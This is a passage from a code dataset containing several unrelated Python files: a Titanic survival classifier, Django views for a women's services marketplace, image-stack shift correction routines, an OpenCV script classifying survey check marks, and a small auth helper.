'megaface/FaceScrub_aligned')\n", "sub_path": "megaface_align.py", "file_name": "megaface_align.py", "file_ext": "py", "file_size_in_byte": 1376, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "torch.no_grad", "line_number": 14, "usage_type": "call"}, {"api_name": "utils.get_central_face_attributes", "line_number": 15, "usage_type": "call"}, {"api_name": "utils.align_face", "line_number": 17, "usage_type": "call"}, {"api_name": "cv2.imwrite", "line_number": 18, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 25, "usage_type": "call"}, {"api_name": "os.walk", "line_number": 25, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 28, "usage_type": "call"}, {"api_name": "os.path", "line_number": 28, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 29, "usage_type": "call"}, {"api_name": "os.path", "line_number": 29, "usage_type": "attribute"}, {"api_name": "torch.multiprocessing.Pool", "line_number": 36, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 37, "usage_type": "call"}]} {"seq_id": "379707595", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Aug 28 20:46:08 2017\n\n@author: Victor\n\"\"\"\n\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn import preprocessing\nfrom sklearn import model_selection\nfrom sklearn import linear_model\nfrom sklearn import metrics\nfrom sklearn import pipeline\n\ndef plot_learning_curve(estimator, X, y):\n plt.figure()\n plt.title('Learning curve')\n plt.xlabel(\"Training examples\")\n plt.ylabel(\"Score\")\n train_sizes, train_scores, test_scores = model_selection .learning_curve(estimator, X, y, train_sizes=np.linspace(.1, 1.0, 5))\n train_scores_mean = np.mean(train_scores, axis=1)\n train_scores_std = np.std(train_scores, axis=1)\n test_scores_mean = np.mean(test_scores, axis=1)\n test_scores_std = np.std(test_scores, axis=1)\n plt.grid()\n\n plt.fill_between(train_sizes, train_scores_mean - train_scores_std, train_scores_mean + train_scores_std, alpha=0.1, color=\"r\")\n plt.fill_between(train_sizes, test_scores_mean - test_scores_std, test_scores_mean + test_scores_std, alpha=0.1, color=\"g\")\n plt.plot(train_sizes, train_scores_mean, 'o-', color=\"r\", label=\"Training score\")\n plt.plot(train_sizes, test_scores_mean, 'o-', color=\"g\", label=\"Cross-validation score\")\n\n plt.legend(loc=\"best\")\n return plt\n\n\nif __name__ == '__main__':\n # Read the training dataset\n trainDataSet = pd.read_table('train.csv', encoding='utf-8', sep=',', index_col=0, header=0)\n \n # Fills in missing values with average value\n trainDataSet['Embarked'].fillna('Unknwon', inplace = True)\n trainDataSet['Age'].fillna(30, inplace = True)\n \n # Generate dummy features from categorical features\n X = pd.get_dummies(trainDataSet[['Age','SibSp','Parch','Pclass','Sex','Embarked']], columns = ['Pclass','Sex','Embarked'])\n y = trainDataSet.Survived\n \n # Split the training set in training and test set\n X_train, X_test, y_train, y_test = model_selection.train_test_split(X, y, test_size=0.3)\n \n #Generate a pipeline that scales and applies logistic regression\n pipe = pipeline.Pipeline(steps=[('scaler', preprocessing.StandardScaler()), ('logistic', linear_model.LogisticRegression())])\n \n # Find the best value for parameter C\n estimator = model_selection.GridSearchCV(pipe, dict(logistic__C=np.logspace(-4, 4, 9)))\n estimator.fit(X_train, y_train)\n print(estimator.best_params_)\n \n # Plot the learning curve\n plot_learning_curve(estimator.best_estimator_, X_train, y_train)\n \n # Estimate the prediction on the test dataset\n y_test_est = estimator.best_estimator_.predict(X_test)\n print(metrics.f1_score(y_test, y_test_est))\n print(metrics.accuracy_score(y_test, y_test_est))\n\n # Read the dataset to predict\n predictDataSet = pd.read_table('test.csv', encoding='utf-8', sep=',', index_col=0, header=0)\n predictDataSet['Embarked'].fillna('Unknwon', inplace = True)\n predictDataSet['Age'].fillna(30, inplace = True)\n \n # Generate features and predict output\n X_pred = pd.get_dummies(predictDataSet[['Age','SibSp','Parch','Pclass','Sex','Embarked']], columns = ['Pclass','Sex','Embarked'])\n X_pred = X_pred.reindex(columns = X.columns, fill_value=0)\n y_pred = estimator.best_estimator_.predict(X_pred)\n \n # Save output to format for kaggle submission\n np.savetxt('prediction.csv', np.column_stack((X_pred.index.values, y_pred)), delimiter=',', header = 'PassengerId,Survived', fmt = '%i', comments='')", "sub_path": "kaggle/titanic/titanic.py", "file_name": "titanic.py", "file_ext": "py", "file_size_in_byte": 3492, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "matplotlib.pyplot.figure", "line_number": 18, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 18, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 19, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 19, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 20, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 20, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 21, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 21, "usage_type": "name"}, {"api_name": "sklearn.model_selection.learning_curve", "line_number": 22, "usage_type": "call"}, {"api_name": "sklearn.model_selection", "line_number": 22, "usage_type": "name"}, {"api_name": "numpy.linspace", "line_number": 22, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 23, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 24, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 25, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 26, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 27, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 27, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.fill_between", "line_number": 29, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 29, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.fill_between", "line_number": 30, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 30, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 31, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 31, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 32, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 32, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 34, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 34, "usage_type": "name"}, {"api_name": "matplotlib.pyplot", "line_number": 35, "usage_type": "name"}, {"api_name": "pandas.read_table", "line_number": 40, "usage_type": "call"}, {"api_name": "pandas.get_dummies", "line_number": 47, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 51, "usage_type": "call"}, {"api_name": "sklearn.model_selection", "line_number": 51, "usage_type": "name"}, {"api_name": "sklearn.pipeline.Pipeline", "line_number": 54, "usage_type": "call"}, {"api_name": "sklearn.pipeline", "line_number": 54, "usage_type": "name"}, {"api_name": "sklearn.preprocessing.StandardScaler", "line_number": 54, "usage_type": "call"}, {"api_name": "sklearn.preprocessing", "line_number": 54, "usage_type": "name"}, {"api_name": "sklearn.linear_model.LogisticRegression", "line_number": 54, "usage_type": "call"}, {"api_name": "sklearn.linear_model", "line_number": 54, "usage_type": "name"}, {"api_name": "sklearn.model_selection.GridSearchCV", "line_number": 57, "usage_type": "call"}, {"api_name": "sklearn.model_selection", "line_number": 57, "usage_type": "name"}, {"api_name": "numpy.logspace", "line_number": 57, "usage_type": "call"}, {"api_name": "sklearn.metrics.f1_score", "line_number": 66, "usage_type": "call"}, {"api_name": "sklearn.metrics", "line_number": 66, "usage_type": "name"}, {"api_name": "sklearn.metrics.accuracy_score", "line_number": 67, "usage_type": "call"}, {"api_name": "sklearn.metrics", "line_number": 67, "usage_type": "name"}, {"api_name": "pandas.read_table", "line_number": 70, "usage_type": "call"}, {"api_name": "pandas.get_dummies", "line_number": 75, "usage_type": "call"}, {"api_name": "numpy.savetxt", "line_number": 80, "usage_type": "call"}, {"api_name": "numpy.column_stack", "line_number": 80, "usage_type": "call"}]} {"seq_id": "5442403", "text": "from django.shortcuts import render, redirect\nfrom django.contrib.auth.decorators import login_required\nfrom .forms import CustomerForm,WomanForm,SkillForm\nfrom .models import Woman,Skill,Notification,Customer\n\n# Create your views here.\n@login_required(login_url='/accounts/login/')\ndef home(request):\n \n \n return render(request, 'home.html')\n\n\n\n@login_required(login_url='/accounts/login/')\ndef womanprofile(request):\n current_user=request.user\n if request.method == 'POST':\n form=WomanForm(request.POST,request.FILES)\n if form.is_valid():\n womanprofile=form.save(commit=False)\n womanprofile.user_id = current_user\n womanprofile.save()\n \n else:\n form=WomanForm()\n\n return render(request,'womanprofile.html',{\"forms\":form})\n\n\n\n@login_required(login_url='/accounts/login/')\ndef customerprofile(request):\n current_user=request.user\n if request.method == 'POST':\n form=CustomerForm(request.POST,request.FILES)\n if form.is_valid():\n customerprofile=form.save(commit=False)\n customerprofile.user_id = current_user\n customerprofile.save()\n \n else:\n form=CustomerForm()\n\n return render(request,'customerprofile.html',{\"forms\":form})\n\n\n@login_required(login_url='/accounts/login/')\ndef skill(request):\n current_user=request.user\n print (current_user.id)\n lady=Woman.objects.get(user_id=current_user.id)\n if request.method == 'POST':\n print('-'*30)\n print(lady)\n\n form=SkillForm(request.POST,request.FILES)\n if form.is_valid():\n skill=form.save(commit=False)\n skill.woman_id = lady\n skill.save()\n \n else:\n form=SkillForm()\n\n return render(request,'skill.html',{\"forms\":form})\n\n\n\ndef salon(request):\n salon_skills=Skill.objects.filter(skill_service=5)\n \n return render(request,'salon.html',{'salon_skills':salon_skills})\n\n\ndef laundry(request):\n laundry_skills=Skill.objects.filter(skill_service=6)\n\n return render(request,'laundry.html',{'laundry_skills':laundry_skills})\n\ndef babysitting(request):\n babysitting_skills=Skill.objects.filter(skill_service=7)\n\n return render(request,'babysitting.html',{'babysitting_skills':babysitting_skills})\n\n\ndef grocery(request):\n grocery_skills=Skill.objects.filter(skill_service=8)\n\n return render(request,'grocery.html',{'grocery_skills':grocery_skills})\n\ndef notification(request, service, id):\n current_user=request.user\n try:\n\n customer = Customer.objects.get(user_id=current_user.id)\n except:\n return redirect(customerprofile)\n new_notification = Notification(service=service,location=customer.location,phone=customer.phone,woman_id=id, customer_id=current_user.id)\n new_notification.save_notification()\n\n return redirect(service.lower())\n\ndef profile_notification(request):\n current_user=request.user\n print('Hello',current_user.id)\n try:\n woman=Woman.objects.get(user_id=current_user.id)\n woman_account=Notification.objects.filter(customer_id=current_user.id)\n print('-'* 30)\n print(woman_account)\n except:\n return redirect(womanprofile)\n return render(request,'notification.html',{'woman_account':woman_account})\n ", "sub_path": "women/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 3311, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "django.shortcuts.render", "line_number": 11, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 7, "usage_type": "call"}, {"api_name": "forms.WomanForm", "line_number": 19, "usage_type": "call"}, {"api_name": "forms.WomanForm", "line_number": 26, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 28, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 15, "usage_type": "call"}, {"api_name": "forms.CustomerForm", "line_number": 36, "usage_type": "call"}, {"api_name": "forms.CustomerForm", "line_number": 43, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 45, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 32, "usage_type": "call"}, {"api_name": "models.Woman.objects.get", "line_number": 52, "usage_type": "call"}, {"api_name": "models.Woman.objects", "line_number": 52, "usage_type": "attribute"}, {"api_name": "models.Woman", "line_number": 52, "usage_type": "name"}, {"api_name": "forms.SkillForm", "line_number": 57, "usage_type": "call"}, {"api_name": "forms.SkillForm", "line_number": 64, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 66, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 48, "usage_type": "call"}, {"api_name": "models.Skill.objects.filter", "line_number": 71, "usage_type": "call"}, {"api_name": "models.Skill.objects", "line_number": 71, "usage_type": "attribute"}, {"api_name": "models.Skill", "line_number": 71, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 73, "usage_type": "call"}, {"api_name": "models.Skill.objects.filter", "line_number": 77, "usage_type": "call"}, {"api_name": "models.Skill.objects", "line_number": 77, "usage_type": "attribute"}, {"api_name": "models.Skill", "line_number": 77, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 79, "usage_type": "call"}, {"api_name": "models.Skill.objects.filter", "line_number": 82, "usage_type": "call"}, {"api_name": "models.Skill.objects", "line_number": 82, "usage_type": "attribute"}, {"api_name": "models.Skill", "line_number": 82, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 84, "usage_type": "call"}, {"api_name": "models.Skill.objects.filter", "line_number": 88, "usage_type": "call"}, {"api_name": "models.Skill.objects", "line_number": 88, "usage_type": "attribute"}, {"api_name": "models.Skill", "line_number": 88, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 90, "usage_type": "call"}, {"api_name": "models.Customer.objects.get", "line_number": 96, "usage_type": "call"}, {"api_name": "models.Customer.objects", "line_number": 96, "usage_type": "attribute"}, {"api_name": "models.Customer", "line_number": 96, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 98, "usage_type": "call"}, {"api_name": "models.Notification", "line_number": 99, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 102, "usage_type": "call"}, {"api_name": "models.Woman.objects.get", "line_number": 108, "usage_type": "call"}, {"api_name": "models.Woman.objects", "line_number": 108, "usage_type": "attribute"}, {"api_name": "models.Woman", "line_number": 108, "usage_type": "name"}, {"api_name": "models.Notification.objects.filter", "line_number": 109, "usage_type": "call"}, {"api_name": "models.Notification.objects", "line_number": 109, "usage_type": "attribute"}, {"api_name": "models.Notification", "line_number": 109, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 113, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 114, "usage_type": "call"}]} {"seq_id": "487741477", "text": "\"\"\"\nRoutines for preprocessing image stacks.\n\nAll functions in this module are designed to take an image stack and additional arguments as input.\n\"\"\"\nimport numpy as np\nfrom scipy.fft import fft2\nfrom skimage.registration import phase_cross_correlation\nfrom skimage.transform import AffineTransform, warp\nfrom .image_functions import detect_changes_division, detect_changes_subtraction\n\n\ndef _stack_operation(stack, function, *args, **kwargs):\n \"\"\"\n Perform an operation for all images of an image stack.\n\n This is just a wrapper for a function which can perform a procedure for one image to\n perform it for all images of a stack instead.\n\n Parameters\n ----------\n stack: ImageStack\n The image stack the function should be performed on\n function: function\n A function which takes ONE image as input and returns ONE image\n args:\n args are forwarded to the function.\n kwargs:\n kwargs are forwarded to the function.\n \"\"\"\n for ind, img in enumerate(stack):\n stack[ind] = function(img, *args, **kwargs)\n return stack\n\n\ndef _rolling_stack_operation(stack, function, keep_first=False, *args, **kwargs):\n \"\"\"\n Perform an rolling operation for all images of an image stack.\n\n :math:`I_{new} = func(I_{n-1}, I_n)`\n\n This is just a wrapper for a function which can perform a procedure for two subsequent images\n for a whole stack.\n\n Parameters\n ----------\n stack: ImageStack\n The image stack the function should be performed on\n function: function\n A function which takes TWO subsequent images as input and returns ONE image\n keep_first: bool\n If True, keep the first image of the stack.\n The function will not be performed on the first image alone!\n args:\n args are forwarded to the function.\n kwargs:\n kwargs are forwarded to the function.\n \"\"\"\n img_minus1 = stack[0]\n for ind, img in enumerate(stack[1:]):\n stack[ind+1] = function(img_minus1, img, *args, **kwargs)\n img_minus1 = img\n if not keep_first:\n del stack[0]\n return stack\n\n\ndef region_of_interest(images, x0=0, x1=None, y0=0, y1=None):\n \"\"\"\n Crop all images in a stack to the desired shape.\n\n This function changes the images in the stack.\n If the input images should be preserved copy the input to a separate object before!\n\n The coordinate system is the following: x0->x1 = width, y0->y1 = height from the top left corner of the image\n\n Parameters\n ----------\n images: list, ImageStack\n x0: int\n x1: int\n y0: int\n y1: int\n\n Returns\n -------\n out: list, ImageStack\n ImageStack or list with the cropped images\n \"\"\"\n for ind, img in enumerate(images):\n images[ind] = img[y0:y1, x0:x1]\n return images\n\n\ndef image_shift(images):\n \"\"\"\n Compute the shift of all images in a stack.\n\n The shift of the n+1st image relative to the n-th is computed. The commutative sum of these shifts\n is the shift relative to the 0th image in the stack.\n\n All input images must have the same width and height!\n Parameters\n ----------\n images: ImageStack, list\n\n Returns\n -------\n out: list\n [(0,0), (y1, x1), ...(yn, xn)] The shift in x and y direction relative to the first image in the stack.\n \"\"\"\n n_minus_1 = fft2(images[0])\n shift = [(0, 0)]\n\n for img in images[1:]:\n fft_n = fft2(img)\n shift.append(phase_cross_correlation(n_minus_1, fft_n, space='fourier', upsample_factor=5)[0])\n n_minus_1 = fft_n\n\n return np.cumsum(shift, axis=0)\n\n\ndef biggest_common_sector(images):\n \"\"\"\n Biggest common sector of the image stack\n\n This function computes the relative translation between the images with the first image in the stack as\n the reference image. Then the biggest common sector is cropped from the images. The cropping window\n moves with the relative translation of the images so that the translation is corrected.\n\n Warping of the images which could be a result of strain is not accounted for. If the warp cant be neglected\n do not use this method!!\n\n Parameters\n ----------\n images: list or ImageStack\n\n Returns\n -------\n out: list, ImageStack\n list or ImageStack with the corrected images.\n \"\"\"\n # if all images are the same shape, no need to crop them\n shapes = np.array([img.shape for img in images])\n height, width = shapes.min(axis=0)\n if not (np.all(shapes[:, 0] == height) and np.all(shapes[:, 1] == width)):\n images = region_of_interest(images, 0, width, 0, height)\n\n # compute shift relative to the 0th image\n total_shift = (np.round(image_shift(images)) * -1).astype(int)\n\n # minimal and maximal boarders to cut after shift\n h_min, w_min = np.abs(np.min(total_shift, axis=0)).astype(int)\n h_max, w_max = np.abs(np.max(total_shift, axis=0)).astype(int)\n\n # cutting out the image\n for ind, (n, (t_h, t_w)) in enumerate(zip(images, total_shift)):\n images[ind] = n[t_h + h_min:height + t_h - h_max, t_w + w_min: width + t_w - w_max]\n\n return images\n\n\ndef shift_correction(images):\n \"\"\"\n Shift correction of all images in a stack. This function is more precise than :func:`biggest_common_sector`\n but more time consuming. The memory footprint is the same.\n\n This function computes the relative translation between the images with the first image in the stack as\n the reference image. The images are translated into the coordinate system of the 0th image form the stack.\n\n Warping of the images which could be a result of strain is not accounted for. If the warp cant be neglected\n do not use this function!\n\n Parameters\n ----------\n images: list, ImageStack\n\n Returns\n -------\n out: list, ImageStack\n list or ImageStack with the corrected images.\n \"\"\"\n\n shapes = np.array([img.shape for img in images])\n height, width = shapes.min(axis=0)\n if not (np.all(shapes[:, 0] == height) and np.all(shapes[:, 1] == width)):\n images = region_of_interest(images, 0, width, 0, height)\n\n # compute shift relative to the 0th image\n total_shift = np.round(image_shift(images)) * -1\n\n h_min, w_min = np.abs(np.min(total_shift, axis=0).astype(int))\n h_max, w_max = np.abs(np.max(total_shift, axis=0).astype(int))\n\n for ind, (img, t) in enumerate(zip(images, total_shift)):\n if not (t[0] == 0 and t[1] == 0):\n shift = AffineTransform(translation=t[::-1])\n temp = warp(img, shift, mode='constant', cval=0.5,\n preserve_range=True)[h_min: height - h_max, w_min: width - w_max].astype(img.dtype.type)\n else:\n temp = img[h_min: height - h_max, w_min: width - w_max]\n images[ind] = temp\n return images\n\n\ndef change_detection_division(images, output_range=None):\n \"\"\"\n Change detection for all images in an image stack.\n\n Change detection with image rationing is applied to an image stack.\n The new images are the result of the change between the n-th and the n-1st image.\n\n The first image will be deleted from the stack.\n\n Parameters\n ----------\n images: ImageStack, list\n output_range: tuple, optional\n The resulting images will be rescaled to the given range. E.g. (0,1).\n\n Returns\n -------\n out: ImageStack, list\n \"\"\"\n return _rolling_stack_operation(images, detect_changes_division, output_range=output_range)\n\n\ndef change_detection_subtraction(images, output_range=None):\n \"\"\"\n Change detection for all images in an image stack.\n\n Change detection with image differencing is applied to an image stack.\n The new images are the result of the change between the n-th and the n-1st image.\n\n The first image will be deleted from the stack.\n\n Parameters\n ----------\n images: ImageStack, list\n output_range: tuple, optional\n The resulting images will be rescaled to the given range. E.g. (0,1).\n\n Returns\n -------\n out: ImageStack, list\n \"\"\"\n return _rolling_stack_operation(images, detect_changes_subtraction, output_range=output_range)\n\n\ndef overload_images(images):\n \"\"\"\n Combines the nth image with the n-1st with logical_or.\n\n :math:`I_n^{new} = I_n | I_{n-1}`\n\n Parameters\n ----------\n images: ImageStack\n Image stack with image-dtype bool\n\n Returns\n -------\n out: ImageStack\n \"\"\"\n if images._dtype != bool:\n raise TypeError('The stack must contain only bool images!')\n\n def fun(img1, img2):\n return np.logical_or(img1, img2)\n return _rolling_stack_operation(images, fun, True)\n", "sub_path": "crackdect/stack_operations.py", "file_name": "stack_operations.py", "file_ext": "py", "file_size_in_byte": 8648, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "scipy.fft.fft2", "line_number": 112, "usage_type": "call"}, {"api_name": "scipy.fft.fft2", "line_number": 116, "usage_type": "call"}, {"api_name": "skimage.registration.phase_cross_correlation", "line_number": 117, "usage_type": "call"}, {"api_name": "numpy.cumsum", "line_number": 120, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 144, "usage_type": "call"}, {"api_name": "numpy.all", "line_number": 146, "usage_type": "call"}, {"api_name": "numpy.round", "line_number": 150, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 153, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 153, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 154, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 154, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 184, "usage_type": "call"}, {"api_name": "numpy.all", "line_number": 186, "usage_type": "call"}, {"api_name": "numpy.round", "line_number": 190, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 192, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 192, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 193, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 193, "usage_type": "call"}, {"api_name": "skimage.transform.AffineTransform", "line_number": 197, "usage_type": "call"}, {"api_name": "skimage.transform.warp", "line_number": 198, "usage_type": "call"}, {"api_name": "image_functions.detect_changes_division", "line_number": 225, "usage_type": "argument"}, {"api_name": "image_functions.detect_changes_subtraction", "line_number": 247, "usage_type": "argument"}, {"api_name": "numpy.logical_or", "line_number": 269, "usage_type": "call"}]} {"seq_id": "421056904", "text": "import numpy as np\nimport cv2\nfrom keras.models import load_model\n\nlabel = ['circle', 'mark', 'erase', 'X']\nfilename = './../image_classification(CNN)/my_model.h5'\nmodel = load_model(filename)\n\n# load the two input images\nimg1 = cv2.imread(\"./survey1.jpg\")\nimg2 = cv2.imread(\"./survey1_checked.jpg\")\n\nif img1.shape != img2.shape:\n print('Two images shape differ')\n width = img1.shape[0]\n height = img1.shape[1]\n # The position of width and height where exactly?\n img2 = cv2.resize(img2, (height, width), interpolation=cv2.INTER_AREA)\n\n#convert the images to gray scale\ngray1 = cv2.cvtColor(img1, cv2.COLOR_BGR2GRAY)\ngray2 = cv2.cvtColor(img2, cv2.COLOR_BGR2GRAY)\n\nkernel = np.ones((3, 3), np.uint8)\n\ndiff = cv2.subtract(gray1, gray2)\ndiff = cv2.morphologyEx(diff, cv2.MORPH_OPEN, kernel)\n\n# diff = cv2.morphologyEx(diff, cv2.MORPH_CLOSE, kernel)\ndilation = cv2.dilate(diff, kernel, iterations=3)\n\ndiff = cv2.medianBlur(dilation, 5)\n_, mask = cv2.threshold(diff, 100, 255, cv2.THRESH_BINARY) # Binary threshold\n_, region = cv2.threshold(dilation, 200, 255, cv2.THRESH_BINARY_INV)\n\nimage, contours, hierachy = cv2.findContours(mask, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)\nimage = cv2.drawContours(img1, contours, -1, (0, 0, 255), -1)\n\n\nfor idx, cnt in enumerate(contours):\n x, y, w, h = cv2.boundingRect(cnt)\n roi = region[y:y+h, x:x+w]\n roi = cv2.copyMakeBorder(roi, 10, 10, 10, 10, cv2.BORDER_CONSTANT, value=[255, 255, 255])\n extend = cv2.resize(roi, (28, 28), interpolation=cv2.INTER_AREA)\n cv2.imshow('test', extend)\n cv2.waitKey(0)\n cv2.destroyAllWindows()\n X = np.array([extend])\n X = X.reshape(1, 28, 28, 1)\n Y = model.predict(X)\n lab = np.unravel_index(np.argmax(Y), Y.shape)[1]\n print(label[lab])\n if label[lab] == \"mark\":\n color = (0, 255, 0)\n elif label[lab] == \"circle\":\n color = (0, 255, 0)\n elif label[lab] == \"X\":\n color = (0, 0, 255)\n else:\n color = (0, 0, 255)\n\n print('cnt: {} len: {}, coordinate: ({}, {}), ({}, {})'.format(idx, len(cnt), x, y, x + w, y + h))\n img3 = cv2.rectangle(img2, (x, y), (x + w, y + h), color, 2)\n\ncv2.namedWindow('image', cv2.WINDOW_NORMAL)\ncv2.resizeWindow('image', 600, 600)\n\ncv2.imshow('image', img3)\n\ncv2.waitKey(0)\ncv2.destroyAllWindows()", "sub_path": "Practicals/simple_img_diff.py", "file_name": "simple_img_diff.py", "file_ext": "py", "file_size_in_byte": 2290, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "keras.models.load_model", "line_number": 7, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 10, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 11, "usage_type": "call"}, {"api_name": "cv2.resize", "line_number": 18, "usage_type": "call"}, {"api_name": "cv2.INTER_AREA", "line_number": 18, "usage_type": "attribute"}, {"api_name": "cv2.cvtColor", "line_number": 21, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2GRAY", "line_number": 21, "usage_type": "attribute"}, {"api_name": "cv2.cvtColor", "line_number": 22, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2GRAY", "line_number": 22, "usage_type": "attribute"}, {"api_name": "numpy.ones", "line_number": 24, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 24, "usage_type": "attribute"}, {"api_name": "cv2.subtract", "line_number": 26, "usage_type": "call"}, {"api_name": "cv2.morphologyEx", "line_number": 27, "usage_type": "call"}, {"api_name": "cv2.MORPH_OPEN", "line_number": 27, "usage_type": "attribute"}, {"api_name": "cv2.dilate", "line_number": 30, "usage_type": "call"}, {"api_name": "cv2.medianBlur", "line_number": 32, "usage_type": "call"}, {"api_name": "cv2.threshold", "line_number": 33, "usage_type": "call"}, {"api_name": "cv2.THRESH_BINARY", "line_number": 33, "usage_type": "attribute"}, {"api_name": "cv2.threshold", "line_number": 34, "usage_type": "call"}, {"api_name": "cv2.THRESH_BINARY_INV", "line_number": 34, "usage_type": "attribute"}, {"api_name": "cv2.findContours", "line_number": 36, "usage_type": "call"}, {"api_name": "cv2.RETR_EXTERNAL", "line_number": 36, "usage_type": "attribute"}, {"api_name": "cv2.CHAIN_APPROX_SIMPLE", "line_number": 36, "usage_type": "attribute"}, {"api_name": "cv2.drawContours", "line_number": 37, "usage_type": "call"}, {"api_name": "cv2.boundingRect", "line_number": 41, "usage_type": "call"}, {"api_name": "cv2.copyMakeBorder", "line_number": 43, "usage_type": "call"}, {"api_name": "cv2.BORDER_CONSTANT", "line_number": 43, "usage_type": "attribute"}, {"api_name": "cv2.resize", "line_number": 44, "usage_type": "call"}, {"api_name": "cv2.INTER_AREA", "line_number": 44, "usage_type": "attribute"}, {"api_name": "cv2.imshow", "line_number": 45, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 46, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 47, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 48, "usage_type": "call"}, {"api_name": "numpy.unravel_index", "line_number": 51, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 51, "usage_type": "call"}, {"api_name": "cv2.rectangle", "line_number": 63, "usage_type": "call"}, {"api_name": "cv2.namedWindow", "line_number": 65, "usage_type": "call"}, {"api_name": "cv2.WINDOW_NORMAL", "line_number": 65, "usage_type": "attribute"}, {"api_name": "cv2.resizeWindow", "line_number": 66, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 68, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 70, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 71, "usage_type": "call"}]} {"seq_id": "277897878", "text": "from uuid import UUID\n\nfrom pulsar.api import BadRequest, Http401\n\nfrom lux.models import Schema, fields\n\n\ndef ensure_service_user(request, errorCls=None):\n # user must be anonymous\n if not request.cache.user.is_anonymous():\n raise (errorCls or BadRequest)\n return\n # the service user must be authenticated\n if not request.cache.user.is_authenticated():\n raise Http401('Token')\n\n\ndef id_or_field(field, id=None, **kwargs):\n if id:\n try:\n UUID(id)\n except ValueError:\n kwargs[field] = id\n else:\n kwargs['id'] = id\n return kwargs\n\n\nclass IdSchema(Schema):\n id = fields.UUID(required=True, description='unique id')\n", "sub_path": "lux/ext/auth/rest/__init__.py", "file_name": "__init__.py", "file_ext": "py", "file_size_in_byte": 704, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "pulsar.api.BadRequest", "line_number": 11, "usage_type": "name"}, {"api_name": "pulsar.api.Http401", "line_number": 15, "usage_type": "call"}, {"api_name": "uuid.UUID", "line_number": 21, "usage_type": "call"}, {"api_name": 